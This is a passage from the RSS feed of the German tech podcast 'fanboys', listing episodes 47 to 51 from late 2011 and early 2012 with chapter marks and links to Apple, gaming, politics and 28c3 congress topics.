+ <pubDate>Fri, 06 Jan 2012 18:48:26 +0100</pubDate>
+ <itunes:duration>01:10:00</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:11 Und Martin
+00:01:39 Apple Event im Januar?
+00:03:25 Khan Academy
+00:04:05 28c3
+00:06:50 7 years, 400+ podcasts, and a whole lot of Frequent Flyer Miles
+00:08:13 Datamining for Hackers
+00:09:39 802.11 Packets in Packets
+00:12:46 The coming war on general computation
+00:14:10 „Die Koalition setzt sich aber aktiv und ernsthaft dafür ein“
+00:15:06 Print Me If You Dare
+00:16:35 Your Disaster/Crisis/Revolution just got Pwned
+00:18:07 Geeks and depression panel
+00:19:55 Etherpad Lite
+00:22:29 XBL verbietet “Gun-like objects†für Avatare
+00:23:59 Sony Vita hat schlechte Weihnachtszahlen
+00:25:15 Brauchen wir wütende Nerds?
+00:31:27 Das Wulff Interview
+00:35:04 Google schießt sich selbst ins Knie
+00:36:54 Wifi vs. Bluetooth
+00:38:55 Appdates
+00:43:03 TuneSpan
+00:47:02 Roomba
+00:49:01 Time Capsule Autodowngrade
+00:52:29 iPod Nano Austauschprogramm
+00:55:12 Elements
+00:57:36 iTunes Match ruckelt
+01:00:35 Flash Ersatztools
+01:03:19 Delibar
+01:08:05 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:01:39</td><td><a href="http://9to5mac.com/2012/01/03/january-apple-event-to-focus-on-two-large-projects-relating-to-education-itunes/?" target="_blank">Apple Event im Januar?</td></tr><tr><td>00:03:25</td><td><a href="http://www.khanacademy.org/" target="_blank">Khan Academy</td></tr><tr><td>00:04:05</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/index.en.html" target="_blank">28c3</td></tr><tr><td>00:06:50</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/events/4816.en.html" target="_blank">7 years, 400+ podcasts, and a whole lot of Frequent Flyer Miles</td></tr><tr><td>00:08:13</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/events/4732.en.html" target="_blank">Datamining for Hackers</td></tr><tr><td>00:09:39</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/events/4766.en.html" target="_blank">802.11 Packets in Packets</td></tr><tr><td>00:12:46</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/events/4848.en.html" target="_blank">The coming war on general computation</td></tr><tr><td>00:14:10</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/events/4675.en.html" target="_blank">„Die Koalition setzt sich aber aktiv und ernsthaft dafür ein“</td></tr><tr><td>00:15:06</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/events/4780.en.html" target="_blank">Print Me If You Dare</td></tr><tr><td>00:16:35</td><td><a href="http://events.ccc.de/congress/2011/Fahrplan/events/4707.en.html" target="_blank">Your Disaster/Crisis/Revolution just got Pwned</td></tr><tr><td>00:18:07</td><td><a href="http://www.youtube.com/watch?v=QnfOOoTOrDE" target="_blank">Geeks and depression panel</td></tr><tr><td>00:19:55</td><td><a href="https://github.com/Pita/etherpad-lite/wiki/Sites-that-run-Etherpad-Lite" target="_blank">Etherpad Lite</td></tr><tr><td>00:22:29</td><td><a href="http://www.destructoid.com/-gun-like-avatar-items-to-be-banned-from-xbox-live-soon-218444.phtml" target="_blank">XBL verbietet “Gun-like objects†für Avatare</td></tr><tr><td>00:23:59</td><td><a href="http://www.forbes.com/sites/terokuittinen/2011/12/29/sony-in-big-trouble-with-ps-vita/" target="_blank">Sony Vita hat schlechte Weihnachtszahlen</td></tr><tr><td>00:25:15</td><td><a href="http://www.heise.de/tr/artikel/Wir-brauchen-wuetende-Nerds-1397391.html" target="_blank">Brauchen wir wütende Nerds?</td></tr><tr><td>00:31:27</td><td><a href="http://cdn.basedrive.net/7aec664d4df6d2c73dcf340a62149ff2/DBC431207B28_Benny_Wulff.mp3" target="_blank">Das Wulff Interview</td></tr><tr><td>00:35:04</td><td><a href="http://daringfireball.net/linked/2012/01/04/chrome-penalty" target="_blank">Google schießt sich selbst ins Knie</td></tr><tr><td>00:36:54</td><td><a href="http://5by5.tv/talkshow/" target="_blank">Wifi vs. Bluetooth</td></tr><tr><td>00:38:55</td><td><a href="http://www.apple.com/itunes/" target="_blank">Appdates</td></tr><tr><td>00:43:03</td><td><a href="http://www.tunespan.com/" target="_blank">TuneSpan</td></tr><tr><td>00:47:02</td><td><a href="http://en.wikipedia.org/wiki/Roomba" target="_blank">Roomba</td></tr><tr><td>00:49:01</td><td><a href="http://www.apple.com/timecapsule/" target="_blank">Time Capsule Autodowngrade</td></tr><tr><td>00:52:29</td><td><a href="http://www.apple.com/support/ipodnano_replacement/" target="_blank">iPod Nano Austauschprogramm</td></tr><tr><td>00:55:12</td><td><a href="http://www.secondgearsoftware.com/elements/" target="_blank">Elements</td></tr><tr><td>00:57:36</td><td><a href="http://www.apple.com/icloud/features/" target="_blank">iTunes Match ruckelt</td></tr><tr><td>01:00:35</td><td><a href="http://labs.adobe.com/technologies/edge/" target="_blank">Flash Ersatztools</td></tr><tr><td>01:03:19</td><td><a href="http://www.delibarapp.com/" target="_blank">Delibar</td></tr><tr><td>01:08:05</td><td><a href="https://www.youtube.com/watch?v=1plg_yYsCQM" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:39" title="Apple Event im Januar?" href="http://9to5mac.com/2012/01/03/january-apple-event-to-focus-on-two-large-projects-relating-to-education-itunes/?" />
+ <sc:chapter start="00:03:25" title="Khan Academy" href="http://www.khanacademy.org/" />
+ <sc:chapter start="00:04:05" title="28c3" href="http://events.ccc.de/congress/2011/Fahrplan/index.en.html" />
+ <sc:chapter start="00:06:50" title="7 years, 400+ podcasts, and a whole lot of Frequent Flyer Miles" href="http://events.ccc.de/congress/2011/Fahrplan/events/4816.en.html" />
+ <sc:chapter start="00:08:13" title="Datamining for Hackers" href="http://events.ccc.de/congress/2011/Fahrplan/events/4732.en.html" />
+ <sc:chapter start="00:09:39" title="802.11 Packets in Packets" href="http://events.ccc.de/congress/2011/Fahrplan/events/4766.en.html" />
+ <sc:chapter start="00:12:46" title="The coming war on general computation" href="http://events.ccc.de/congress/2011/Fahrplan/events/4848.en.html" />
+ <sc:chapter start="00:14:10" title="„Die Koalition setzt sich aber aktiv und ernsthaft dafür ein“" href="http://events.ccc.de/congress/2011/Fahrplan/events/4675.en.html" />
+ <sc:chapter start="00:15:06" title="Print Me If You Dare" href="http://events.ccc.de/congress/2011/Fahrplan/events/4780.en.html" />
+ <sc:chapter start="00:16:35" title="Your Disaster/Crisis/Revolution just got Pwned" href="http://events.ccc.de/congress/2011/Fahrplan/events/4707.en.html" />
+ <sc:chapter start="00:18:07" title="Geeks and depression panel" href="http://www.youtube.com/watch?v=QnfOOoTOrDE" />
+ <sc:chapter start="00:19:55" title="Etherpad Lite" href="https://github.com/Pita/etherpad-lite/wiki/Sites-that-run-Etherpad-Lite" />
+ <sc:chapter start="00:22:29" title="XBL verbietet “Gun-like objects†für Avatare" href="http://www.destructoid.com/-gun-like-avatar-items-to-be-banned-from-xbox-live-soon-218444.phtml" />
+ <sc:chapter start="00:23:59" title="Sony Vita hat schlechte Weihnachtszahlen" href="http://www.forbes.com/sites/terokuittinen/2011/12/29/sony-in-big-trouble-with-ps-vita/" />
+ <sc:chapter start="00:25:15" title="Brauchen wir wütende Nerds?" href="http://www.heise.de/tr/artikel/Wir-brauchen-wuetende-Nerds-1397391.html" />
+ <sc:chapter start="00:31:27" title="Das Wulff Interview" href="http://cdn.basedrive.net/7aec664d4df6d2c73dcf340a62149ff2/DBC431207B28_Benny_Wulff.mp3" />
+ <sc:chapter start="00:35:04" title="Google schießt sich selbst ins Knie" href="http://daringfireball.net/linked/2012/01/04/chrome-penalty" />
+ <sc:chapter start="00:36:54" title="Wifi vs. Bluetooth" href="http://5by5.tv/talkshow/" />
+ <sc:chapter start="00:38:55" title="Appdates" href="http://www.apple.com/itunes/" />
+ <sc:chapter start="00:43:03" title="TuneSpan" href="http://www.tunespan.com/" />
+ <sc:chapter start="00:47:02" title="Roomba" href="http://en.wikipedia.org/wiki/Roomba" />
+ <sc:chapter start="00:49:01" title="Time Capsule Autodowngrade" href="http://www.apple.com/timecapsule/" />
+ <sc:chapter start="00:52:29" title="iPod Nano Austauschprogramm" href="http://www.apple.com/support/ipodnano_replacement/" />
+ <sc:chapter start="00:55:12" title="Elements" href="http://www.secondgearsoftware.com/elements/" />
+ <sc:chapter start="00:57:36" title="iTunes Match ruckelt" href="http://www.apple.com/icloud/features/" />
+ <sc:chapter start="01:00:35" title="Flash Ersatztools" href="http://labs.adobe.com/technologies/edge/" />
+ <sc:chapter start="01:03:19" title="Delibar" href="http://www.delibarapp.com/" />
+ <sc:chapter start="01:08:05" title="Rausschmeisser" href="https://www.youtube.com/watch?v=1plg_yYsCQM" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#51:" />
+ </item>
+ <item>
+ <title>Episode #50 - Sport, Fußball und Fußball</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Sport, Fußball und Fußball</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN050.mp3" length="40679256" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN050</guid>
+ <pubDate>Fri, 23 Dec 2011 20:24:20 +0100</pubDate>
+ <itunes:duration>01:24:36</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:10 Mit Dominik
+00:00:14 und Martin
+00:00:24 und ein wenig Rauschen
+00:00:39 Fünfzig
+00:03:14 Carcassonne - "Behind the Scenes"
+00:20:56 iTunes Match
+00:28:49 SOPA
+00:33:13 CES ohne MS
+00:37:04 Neues aus der Nintendo Botschaft
+00:44:25 Evil Quiz
+00:48:56 15 Jahre AppleNext
+00:51:23 Limbo im Mac AppStore
+00:54:10 Lost Winds für iOS
+00:57:31 Sky stinkt
+01:11:36 Gamecenter CX
+01:17:04 Parabelflug
+01:17:37 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:24</td><td>und ein wenig Rauschen</td></tr><tr><td>00:00:39</td><td>Fünfzig</td></tr><tr><td>00:03:14</td><td><a href="http://breakfast.vu0.org/archives/639" target="_blank">Carcassonne - "Behind the Scenes"</td></tr><tr><td>00:20:56</td><td>iTunes Match</td></tr><tr><td>00:28:49</td><td><a href="http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act" target="_blank">SOPA</td></tr><tr><td>00:33:13</td><td><a href="http://parislemon.com/post/14590185649/fuck-me-no-fuck-you" target="_blank">CES ohne MS</td></tr><tr><td>00:37:04</td><td>Neues aus der Nintendo Botschaft</td></tr><tr><td>00:44:25</td><td><a href="http://codingmonkeys.de/evilquiz" target="_blank">Evil Quiz</td></tr><tr><td>00:48:56</td><td><a href="http://web.archive.org/web/20020208190346/http://product.info.apple.com/pr/press.releases/1997/q1/961220.pr.rel.next.html" target="_blank">15 Jahre AppleNext</td></tr><tr><td>00:51:23</td><td><a href="http://itunes.apple.com/us/app/limbo/id481629890?mt=12" target="_blank">Limbo im Mac AppStore</td></tr><tr><td>00:54:10</td><td><a href="http://itunes.apple.com/app/lostwinds/id477973472" target="_blank">Lost Winds für iOS</td></tr><tr><td>00:57:31</td><td>Sky stinkt</td></tr><tr><td>01:11:36</td><td><a href="http://www.youtube.com/watch?v=selphRRkQxs" target="_blank">Gamecenter CX</td></tr><tr><td>01:17:04</td><td><a href="http://vimeo.com/34093876" target="_blank">Parabelflug</td></tr><tr><td>01:17:37</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:10" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:14" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:24" title="und ein wenig Rauschen" />
+ <sc:chapter start="00:00:39" title="Fünfzig" />
+ <sc:chapter start="00:03:14" title="Carcassonne - &amp;quot;Behind the Scenes&amp;quot;" href="http://breakfast.vu0.org/archives/639" />
+ <sc:chapter start="00:20:56" title="iTunes Match" />
+ <sc:chapter start="00:28:49" title="SOPA" href="http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act" />
+ <sc:chapter start="00:33:13" title="CES ohne MS" href="http://parislemon.com/post/14590185649/fuck-me-no-fuck-you" />
+ <sc:chapter start="00:37:04" title="Neues aus der Nintendo Botschaft" />
+ <sc:chapter start="00:44:25" title="Evil Quiz" href="http://codingmonkeys.de/evilquiz" />
+ <sc:chapter start="00:48:56" title="15 Jahre AppleNext" href="http://web.archive.org/web/20020208190346/http://product.info.apple.com/pr/press.releases/1997/q1/961220.pr.rel.next.html" />
+ <sc:chapter start="00:51:23" title="Limbo im Mac AppStore" href="http://itunes.apple.com/us/app/limbo/id481629890?mt=12" />
+ <sc:chapter start="00:54:10" title="Lost Winds für iOS" href="http://itunes.apple.com/app/lostwinds/id477973472" />
+ <sc:chapter start="00:57:31" title="Sky stinkt" />
+ <sc:chapter start="01:11:36" title="Gamecenter CX" href="http://www.youtube.com/watch?v=selphRRkQxs" />
+ <sc:chapter start="01:17:04" title="Parabelflug" href="http://vimeo.com/34093876" />
+ <sc:chapter start="01:17:37" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#50:" />
+ </item>
+ <item>
+ <title>Episode #49 - Moddorola</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Moddorola</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN049.mp3" length="32841895" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN049</guid>
+ <pubDate>Fri, 09 Dec 2011 21:19:34 +0100</pubDate>
+ <itunes:duration>01:08:17</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:10 Marcel
+00:00:13 und Martin
+00:01:21 Motorola ./. Apple
+00:03:18 Neues Twitter ist neu
+00:13:52 Google Currents
+00:16:25 Miyamoto will leiser treten
+00:18:45 SPD Parteitag
+00:23:04 Solarladegerät gesucht
+00:25:16 Gastkonto des Grauens II
+00:26:17 Abkürzungen und Grossschreibung
+00:29:10 Spotlight Kürzel
+00:31:02 Netzwerklocations
+00:35:12 ControlPlane
+00:38:26 Piratenparteitag
+00:41:43 BBC iPlayer Global für iPhone
+00:44:57 Magic: The Gathering - Duel of the Planeswalkers 2010
+00:50:05 Xbox Dashboard Update
+00:54:47 XBL iPhone App
+00:57:16 Bastion für Chrome
+00:59:23 ChronoTrigger iOS
+01:01:22 Zelda Rants
+01:04:32 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:21</td><td><a href="http://www.scribd.com/fullscreen/75208713" target="_blank">Motorola ./. Apple</td></tr><tr><td>00:03:18</td><td><a href="http://fly.twitter.com" target="_blank">Neues Twitter ist neu</td></tr><tr><td>00:13:52</td><td><a href="http://itunes.apple.com/us/app/google-currents/id459182288" target="_blank">Google Currents</td></tr><tr><td>00:16:25</td><td><a href="http://arstechnica.com/gaming/news/2011/12/nintendos-miyamoto-stepping-down-working-on-smaller-games.ars" target="_blank">Miyamoto will leiser treten</td></tr><tr><td>00:18:45</td><td>SPD Parteitag</td></tr><tr><td>00:23:04</td><td>Solarladegerät gesucht</td></tr><tr><td>00:25:16</td><td>Gastkonto des Grauens II</td></tr><tr><td>00:26:17</td><td>Abkürzungen und Grossschreibung</td></tr><tr><td>00:29:10</td><td>Spotlight Kürzel</td></tr><tr><td>00:31:02</td><td>Netzwerklocations</td></tr><tr><td>00:35:12</td><td><a href="http://controlplane.dustinrue.com/" target="_blank">ControlPlane</td></tr><tr><td>00:38:26</td><td>Piratenparteitag</td></tr><tr><td>00:41:43</td><td><a href="http://itunes.apple.com/ie/app/bbc-iplayer-global/id449130604?mt=8" target="_blank">BBC iPlayer Global für iPhone</td></tr><tr><td>00:44:57</td><td><a href="http://www.wizards.com/magic/digital/duelsoftheplaneswalkers.aspx?x=mtg/digital/dotp/d12" target="_blank">Magic: The Gathering - Duel of the Planeswalkers 2010</td></tr><tr><td>00:50:05</td><td>Xbox Dashboard Update</td></tr><tr><td>00:54:47</td><td><a href="http://itunes.apple.com/us/app/my-xbox-live/id480914036?mt=8" target="_blank">XBL iPhone App</td></tr><tr><td>00:57:16</td><td><a href="http://www.joystiq.com/2011/12/09/play-bastion-in-your-chrome-browser-right-now/" target="_blank">Bastion für Chrome</td></tr><tr><td>00:59:23</td><td><a href="http://itunes.apple.com/us/app/chrono-trigger/id479431697?mt=8" target="_blank">ChronoTrigger iOS</td></tr><tr><td>01:01:22</td><td><a href="http://monoxyd.de/category/angespielt" target="_blank">Zelda Rants</td></tr><tr><td>01:04:32</td><td><a href="http://www.youtube.com/watch?v=wxoGmVjAsmE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:13" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:21" title="Motorola ./. Apple" href="http://www.scribd.com/fullscreen/75208713" />
+ <sc:chapter start="00:03:18" title="Neues Twitter ist neu" href="http://fly.twitter.com" />
+ <sc:chapter start="00:13:52" title="Google Currents" href="http://itunes.apple.com/us/app/google-currents/id459182288" />
+ <sc:chapter start="00:16:25" title="Miyamoto will leiser treten" href="http://arstechnica.com/gaming/news/2011/12/nintendos-miyamoto-stepping-down-working-on-smaller-games.ars" />
+ <sc:chapter start="00:18:45" title="SPD Parteitag" />
+ <sc:chapter start="00:23:04" title="Solarladegerät gesucht" />
+ <sc:chapter start="00:25:16" title="Gastkonto des Grauens II" />
+ <sc:chapter start="00:26:17" title="Abkürzungen und Grossschreibung" />
+ <sc:chapter start="00:29:10" title="Spotlight Kürzel" />
+ <sc:chapter start="00:31:02" title="Netzwerklocations" />
+ <sc:chapter start="00:35:12" title="ControlPlane" href="http://controlplane.dustinrue.com/" />
+ <sc:chapter start="00:38:26" title="Piratenparteitag" />
+ <sc:chapter start="00:41:43" title="BBC iPlayer Global für iPhone" href="http://itunes.apple.com/ie/app/bbc-iplayer-global/id449130604?mt=8" />
+ <sc:chapter start="00:44:57" title="Magic: The Gathering - Duel of the Planeswalkers 2010" href="http://www.wizards.com/magic/digital/duelsoftheplaneswalkers.aspx?x=mtg/digital/dotp/d12" />
+ <sc:chapter start="00:50:05" title="Xbox Dashboard Update" />
+ <sc:chapter start="00:54:47" title="XBL iPhone App" href="http://itunes.apple.com/us/app/my-xbox-live/id480914036?mt=8" />
+ <sc:chapter start="00:57:16" title="Bastion für Chrome" href="http://www.joystiq.com/2011/12/09/play-bastion-in-your-chrome-browser-right-now/" />
+ <sc:chapter start="00:59:23" title="ChronoTrigger iOS" href="http://itunes.apple.com/us/app/chrono-trigger/id479431697?mt=8" />
+ <sc:chapter start="01:01:22" title="Zelda Rants" href="http://monoxyd.de/category/angespielt" />
+ <sc:chapter start="01:04:32" title="Rausschmeisser" href="http://www.youtube.com/watch?v=wxoGmVjAsmE" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#49:" />
+ </item>
+ <item>
+ <title>Episode #48 - Metaverdatung</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Metaverdatung</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN048.mp3" length="25048210" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN048</guid>
+ <pubDate>Fri, 02 Dec 2011 20:14:06 +0100</pubDate>
+ <itunes:duration>00:52:02</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:13 und Martin
+00:00:39 Links giibt's doch noch
+00:01:57 Siri ist "Pro-Life"?
+00:05:17 Lion-Tipp: Besitzeranzeige
+00:06:28 iTether
+00:10:30 Carrier IQ
+00:18:27 Carrier IQ auf iOS
+00:21:56 Nicht nicht grüne Politik
+00:29:20 Gastkonto des Grauens
+00:32:19 Matschzoom
+00:36:08 Google Nervfaktor und Fix
+00:36:58 Samba und die Rechte
+00:40:16 Marathon in Opensource und 1.0
+00:42:52 Doom 3 auf dem Mac bauen
+00:43:49 TCMXMLWriter
+00:46:20 Tap the Frog
+00:48:25 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:39</td><td>Links giibt's doch noch</td></tr><tr><td>00:01:57</td><td><a href="http://techland.time.com/2011/12/01/while-siri-wont-tell-you-where-to-get-an-abortion-apple-says-these-are-not-intentional-omissions/" target="_blank">Siri ist "Pro-Life"?</td></tr><tr><td>00:05:17</td><td>Lion-Tipp: Besitzeranzeige</td></tr><tr><td>00:06:28</td><td><a href="http://www.wired.com/gadgetlab/2011/11/apple-pulls-itether-app-from-store/" target="_blank">iTether</td></tr><tr><td>00:10:30</td><td><a href="http://www.iphoneblog.de/2011/12/01/carrier-iq-chronologie-eines-skandals/" target="_blank">Carrier IQ</td></tr><tr><td>00:18:27</td><td><a href="http://blog.chpwn.com/post/13572216737" target="_blank">Carrier IQ auf iOS</td></tr><tr><td>00:21:56</td><td><a href="http://www.telemedicus.info/article/2123-Der-netzpolitische-Leitbeschluss-der-Gruenen.html" target="_blank">Nicht nicht grüne Politik</td></tr><tr><td>00:29:20</td><td><a href="http://osxdaily.com/2011/10/13/disable-guest-user-account-mac-os-x-10-7-2-login-screen/" target="_blank">Gastkonto des Grauens</td></tr><tr><td>00:32:19</td><td>Matschzoom</td></tr><tr><td>00:36:08</td><td>Google Nervfaktor und Fix</td></tr><tr><td>00:36:58</td><td>Samba und die Rechte</td></tr><tr><td>00:40:16</td><td><a href="http://marathon.sourceforge.net/" target="_blank">Marathon in Opensource und 1.0</td></tr><tr><td>00:42:52</td><td><a href="http://fabiensanglard.net/doom3_macosx/index.php" target="_blank">Doom 3 auf dem Mac bauen</td></tr><tr><td>00:43:49</td><td><a href="https://github.com/monkeydom/TCMXMLWriter" target="_blank">TCMXMLWriter</td></tr><tr><td>00:46:20</td><td><a href="http://itunes.apple.com/de/app/tap-the-frog/id427774127?mt=8" target="_blank">Tap the Frog</td></tr><tr><td>00:48:25</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:13" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:39" title="Links giibt's doch noch" />
+ <sc:chapter start="00:01:57" title="Siri ist &amp;quot;Pro-Life&amp;quot;?" href="http://techland.time.com/2011/12/01/while-siri-wont-tell-you-where-to-get-an-abortion-apple-says-these-are-not-intentional-omissions/" />
+ <sc:chapter start="00:05:17" title="Lion-Tipp: Besitzeranzeige" />
+ <sc:chapter start="00:06:28" title="iTether" href="http://www.wired.com/gadgetlab/2011/11/apple-pulls-itether-app-from-store/" />
+ <sc:chapter start="00:10:30" title="Carrier IQ" href="http://www.iphoneblog.de/2011/12/01/carrier-iq-chronologie-eines-skandals/" />
+ <sc:chapter start="00:18:27" title="Carrier IQ auf iOS" href="http://blog.chpwn.com/post/13572216737" />
+ <sc:chapter start="00:21:56" title="Nicht nicht grüne Politik" href="http://www.telemedicus.info/article/2123-Der-netzpolitische-Leitbeschluss-der-Gruenen.html" />
+ <sc:chapter start="00:29:20" title="Gastkonto des Grauens" href="http://osxdaily.com/2011/10/13/disable-guest-user-account-mac-os-x-10-7-2-login-screen/" />
+ <sc:chapter start="00:32:19" title="Matschzoom" />
+ <sc:chapter start="00:36:08" title="Google Nervfaktor und Fix" />
+ <sc:chapter start="00:36:58" title="Samba und die Rechte" />
+ <sc:chapter start="00:40:16" title="Marathon in Opensource und 1.0" href="http://marathon.sourceforge.net/" />
+ <sc:chapter start="00:42:52" title="Doom 3 auf dem Mac bauen" href="http://fabiensanglard.net/doom3_macosx/index.php" />
+ <sc:chapter start="00:43:49" title="TCMXMLWriter" href="https://github.com/monkeydom/TCMXMLWriter" />
+ <sc:chapter start="00:46:20" title="Tap the Frog" href="http://itunes.apple.com/de/app/tap-the-frog/id427774127?mt=8" />
+ <sc:chapter start="00:48:25" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#48:" />
+ </item>
+ <item>
+ <title>Episode #47 - Winter is coming</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Winter is coming</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN047.mp3" length="35408373" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN047</guid>
+ <pubDate>Fri, 25 Nov 2011 19:50:00 +0100</pubDate>
+ <itunes:duration>01:13:37</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:15 und Martin
+00:00:40 Mitt Romney
+00:01:26 Das Labyrinth der Träumenden Bücher
+00:02:28 Google TV
+00:06:03 Wetten, dass..?
+00:07:50 Big Fish Games
+00:13:22 Hörsuppe
+00:16:18 Chaosradio zum Podcasten
+00:17:57 Wie man Politiker zum Twittern bringt
+00:25:21 Grüne Bundesdelgiertenkonferenz
+00:28:15 iCloud
+00:32:46 SSD Aufrüsten
+00:37:45 Garageband und Chaptermarks
+00:44:20 Pony Sounds
+00:45:34 Desert Bus
+00:49:09 Desert Bus for Hope
+00:50:14 Loading Ready Run
+00:52:20 @desertbus
+00:52:57 Lendromat
+00:56:29 Zelda Skyward Sword
+01:02:59 Super Mario 3D Land
+01:08:50 Jaksta
+01:11:15 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:40</td><td>Mitt Romney</td></tr><tr><td>00:01:26</td><td>Das Labyrinth der Träumenden Bücher</td></tr><tr><td>00:02:28</td><td>Google TV</td></tr><tr><td>00:06:03</td><td>Wetten, dass..?</td></tr><tr><td>00:07:50</td><td><a href="http://www.bloomberg.com/news/2011-11-22/apple-lets-big-fish-games-offer-ipad-subscription-a-first-for-video-games.html" target="_blank">Big Fish Games</td></tr><tr><td>00:13:22</td><td><a href="http://hoersuppe.de/" target="_blank">Hörsuppe</td></tr><tr><td>00:16:18</td><td><a href="http://chaosradio.ccc.de/cr174.html" target="_blank">Chaosradio zum Podcasten</td></tr><tr><td>00:17:57</td><td><a href="http://www.morgenpost.de/berlin-aktuell/article1837363/Pirat-twittert-als-Berliner-SPD-Abgeordneter.html?utm_source=twitterfeed&utm_medium=twitter" target="_blank">Wie man Politiker zum Twittern bringt</td></tr><tr><td>00:25:21</td><td><a href="http://www.metronaut.de/freiheit/wieviel-netzpolitik-steckt-wirklich-in-den-gruenen/" target="_blank">Grüne Bundesdelgiertenkonferenz</td></tr><tr><td>00:28:15</td><td>iCloud</td></tr><tr><td>00:32:46</td><td>SSD Aufrüsten</td></tr><tr><td>00:37:45</td><td>Garageband und Chaptermarks</td></tr><tr><td>00:44:20</td><td><a href="http://itunes.apple.com/us/app/pony-sounds/id458653383?mt=8" target="_blank">Pony 